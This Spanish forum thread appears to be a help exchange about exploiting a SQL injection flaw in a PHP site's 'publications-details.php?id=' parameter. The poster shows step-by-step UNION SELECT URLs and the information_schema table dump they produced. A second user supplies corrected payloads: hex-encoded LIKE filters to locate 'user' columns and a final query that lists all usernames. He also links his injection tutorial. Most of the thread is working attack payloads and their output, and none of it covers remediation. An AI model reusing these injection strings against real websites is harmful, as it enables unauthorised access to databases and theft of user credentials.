Autor
|
Tema: Vulnerabilidad URL SQL Injection (Leído 7,328 veces)
|
WiseHidden
Desconectado
Mensajes: 225
La curiosidad es la semilla de la genialidad.
|
Muy buenas a todos. Hace poco termine mi página web, y por seguridad escaneé para ver si encontraba alguna vulnerabilidad para poder protegerla mejor. Al escanearla con el Famoso WebCruiser encontré una vulnerabilidad. (URL SQL INJECTION) Preocupado por dicha vulnerabilidad empecé a investigar como solventar el susodicho fallo. Y me atreví a ponerla a prueba le inyecté un código para sacar el nombre de las tablas, una vez encontrada dichas tablas busqué lo que debia ser el adminitrador (Q porsupuesto sabia el nombre de tal) y de paso me di cuenta lo visible que era jaja cuestion, despues de obtener el nombre de administrador lo converti a ASCCI y lo inserté en la inyección del código, y he aquí la duda. Despues de insertar todo el código, he aquí el mismo: http://www.xxxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char (28117,110,100,101,102,105,110,101,100) me aparece solamente un 3. Quizás pudiera guiarme o esclarecerme un poco mi duda, pues ya que conozco dicha vulnerabilidad me gustaría poder solventarla. Muchisimas gracias de antemano Atentamente WiseHidden
|
|
|
En línea
|
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
|
|
|
WiseHidden
Desconectado
Mensajes: 225
La curiosidad es la semilla de la genialidad.
|
71 visitas y nadie a podido aportar algo Valla si que ha cambiado este foro, donde antes todo el mundo ayudaba cordialmente en las dudas de otros, yo mismo he participado en muchos temas orientando y aportando lo poquito que supiese. Pero los ultimos 3 post q he escrito no he obtenido ni una respuesta.... Buenoooo pues nada a seguir probando e investigando por mi cuenta. Un saludo a todos Atentamente WiseHidden
|
|
|
En línea
|
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
|
|
|
Shell Root
|
jajaja lo único que se me ocurre es que podrías cambiar el, ...SELECT+1,GROUP_CONCAT(COLUMN_NAME),3,4,...
por ...SELECT+1,2,GROUP_CONCAT(COLUMN_NAME),4,...
ya que supongo que el "3" es del select :p
|
|
|
En línea
|
Te vendería mi talento por poder dormir tranquilo.
|
|
|
|
WiseHidden
Desconectado
Mensajes: 225
La curiosidad es la semilla de la genialidad.
|
Resultados de la Tabla 2: CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_ SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT, INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES, SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS, TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS ,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application ,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events, expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories, kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session, kfm_session_vars,kfm_tagged_files, kfm_tags,links,member_directory,member_list,members,members_hp,news,photos, photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports, publications,publications_cat,publications_hp,reach,reach_cat,rexpan, science,scienceContent,sciencecat,scienceinfo,video,vision 3 Resultado Tabla 3 2 CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_ SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT, INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES, SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS, TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS ,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application ,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events, expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories, kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session, kfm_session_vars,kfm_tagged_files, kfm_tags,links,member_directory,member_list,members,members_hp,news,photos, photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports, publications,publications_cat,publications_hp,reach,reach_cat,rexpan, science,scienceContent,sciencecat,scienceinfo,video,vision
Y en las dos realizo el mismo código y en la 2 me aparace un (3) y en la 3 me aparace un (2) Pude ser que no haya descifrado el administrador bien? * Es muy cantoso ver el administrador, para ponerlo a prueba intenten saber cual es. - Se que estoy al último paso de hacerlo, pero me quedado estancado. Os pondré paso a paso mi ataque para ver si he cometido algún error en el proceso. Paso 1:Me dirigo al navegador (En este caso Firefox) - Espero que esto no influya en el ataque. Paso 2: Escribo la url de mi web y le inyecto un código para averiguar las tablas. www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,-- (Voy agregando números de menor a mayor consecutivamente hasta que me sale la página de tablas) en este caso llegé hasta el 12. www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12 Y en la pantalla me muestra un 2 (Marcado en azul) y un 3 separado por un ("Intro") Paso 3:Con esta información pruebo a inyectarle de nuevo otro código agregandole lo siguiente: www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.tables Dandome la pantalla como resultado el siguiente contenido: CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,kfm_session_vars,kfm_tagged_files,kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,publications,publications_cat,publications_hp,reach,reach_cat,rexpan,science,scienceContent,sciencecat,scienceinfo,video,vision 3 Paso 4:Busco el nombre de adminitrador, y en caso de no saberlo busco algo referente a admi, admin, ect.... Para saber a cuál corresponde o tener una cierta referencia. Paso 5:Una vez tengamos el nombre me dirigo a una web donde te permita convertir cualquier palabra a ASCCI (Puede que aqui resida el fallo pues no se si se debe pasar exactamente a ASCII o a Hexadecimal) Yo me arriesgé con ASCII que es la que creo que sería. Dandome el siguiente resultado: 117 110 100 101 102 105 110 101 100 Paso 6: Le quito todos los espacios al resultado ASCII y lo sustituyo por una coma. Quedando tal así: 117,110,100,101,102,105,110,101,100 Paso 7:Teniendo estos resultados vuelvo a inyectar otro código más sustituyendo en el group_concat(table_name) por group_concat(column_name) y sustituyendo _schema.table por _schema.columns agregando ademas el siguiente código: www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+ where+table_name=char (117,110,100,101,102,105,110,101,100) Y aquí cuando imagino que te debería dar los resultados que buscamos (Es decir los privilegios de nombre de administrador y su contraseña) Viendo que no era así probé a realizar el mismo proceso sustituyendo la tabla 2 por la 3 Y obtengo el mismo resultado. Asi que estaré haciendo algún paso mal. Por eso he puesto paso por paso una pequeña guía de mi proceso. Haber si alguien pudiera ver mi tropiezo. Gracias por vuestra ayuda y orientación. Un cordial saludo Atentamente WiseHidden
|
|
« Última modificación: 28 Septiembre 2012, 14:50 pm por WiseHidden »
|
En línea
|
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
|
|
|
RevangelyonX
|
Buenas, Lo que estás haciendo es: where table_name = undefined (esa es la traducción ascii de los números que has puesto...) Lo que creo es que no acabas de saber es como hacer la inyección en realidad. column_name contiene nombres de campos, no sus registros en sí. Por lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido. group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user% Si tubieras que cambiar %user% por hexadecimal, utiliza concat(). Por ejemplo: XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user% Esto te debería de devolver todos los campos que contengan "user" como nombre de campo, a partir de aquí ya podrás buscar a que tabla pertenece ese campo y así indagar mejor. Te adjunto un enlace de un documento que hice referente a SQL Injection bajo MySQL (de unas 50 páginas). www.forohack.com/index2.php?Ver=Mensaje&Id=30977&WebOrigen=1Salu2
|
|
|
En línea
|
Just Linux OSCP certified
|
|
|
WiseHidden
Desconectado
Mensajes: 225
La curiosidad es la semilla de la genialidad.
|
Lo que creo es que no acabas de saber es como hacer la inyección en realidad. Exacto. De hecho es la primera vez que lo intento. Otras veces me he tenido curiosidad y tal pero en cuanto trompezaba una y otra vez como ahora llegaba un momento en que desistía y abandonaba. Pero ahora que está en riesgo mi trabajo y mi web (Pues llevo trabajando en ella cerca de un año para dejarla bien terminanda y cada cosa que iba aprendiendo se la iba añadiendo) pues creo que es la oportunidad y el momento de aprender en lleno. Por lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido.
group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user%
Si tubieras que cambiar %user% por hexadecimal, utiliza concat().
Por ejemplo:
XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user% Disculpa mi ignorancia, nosé si se debe al cansancio de llevar muchas horas currando o tal, o es que soy un poco torpe, pero podrias explicarmelo mas detalladamente? Partiendo por ejemplo de mi "url" mal habladamente como dices en tu tutorial para saber donde colocar exactamente el código y entenderlo mucho mejor. Porcierto felicitaciones y mil gracias por la guía: Entendamos y Practiquemos MySQL Injection Le he hechado un ojo rapidísimo y tiene una pinta........ Vamos pienso leermelo y aprender todo cuanto pueda, se nota el trabajo que te ha tenido que llevar. Muchas gracias por todo y alos demás tambien. Un saludo WiseHidden
|
|
|
En línea
|
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
|
|
|
RevangelyonX
|
Hola En primer lugar disculpa porque releyendo me he dado cuenta que me he dejado el FROM xD Tu URL debería de queda así www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25) He modificado tu inyección con lo que te explicaba arriba. Esto lo que debería de mostrar es todos los campos que contengan la palabra "user" (como nombre de campo) Pero nada mas. Necesitamos saber en que tabla está cada campo (cada columna). Podemos utilizar el registro 3 para que nos lo muestre (todo esto está explicado en el tutorial) Así pues modificamos la inyección www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),group_concat(information_schema.columns.table_name),4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25) Esto nos va a mostrar por un lado los campos (por ejemplo username) y sus tablas (por ejemplo usuarios) Ahora ya podemos hacer la inyección que nos mostrará todos los usuarios (suponiendo que es el mismo schema) www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(usuarios.username),3,4,5,6,7,8,9,10,11,12+from usuarios Esto te mostrará todos los usuarios.. Te aconsejo leer el tutorial y luego revisar eo. Si algo no te queda claro comentalo.
|
|
|
En línea
|
Just Linux OSCP certified
|
|
|
WiseHidden
Desconectado
Mensajes: 225
La curiosidad es la semilla de la genialidad.
|
Así lo haré leer la guía y luego repasaré esto, y si tengo alguna duda lo comentaré. Muchas Gracias RevangelyonX Grandísimo aporte para todo el que este interesadoo Ahora toca leer y aprender Un saludoo a todos Atentamente WiseHidden
|
|
|
En línea
|
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Sql injection
Nivel Web
|
TheAnswer
|
1
|
3,762
|
11 Octubre 2004, 08:07 am
por Jec
|
|
|
Vulnerabilidad Tuenti (SQL Injection)
Nivel Web
|
Constantinoplero
|
1
|
3,641
|
1 Diciembre 2009, 19:52 pm
por xassiz_
|
|
|
CAST EXEC en sql injection(Automated Sql Injection)
Nivel Web
|
EvilGoblin
|
2
|
5,188
|
11 Julio 2010, 22:25 pm
por EvilGoblin
|
|
|
Consulta sobre vulnerabilidad para SQL Injection
« 1 2 »
Nivel Web
|
druppy
|
11
|
11,657
|
4 Abril 2013, 00:31 am
por csaralg
|
|
|
Sql injection, ¿hay vulnerabilidad o no?
Hacking
|
in2c0de
|
4
|
3,019
|
27 Febrero 2016, 03:20 am
por WHK
|
|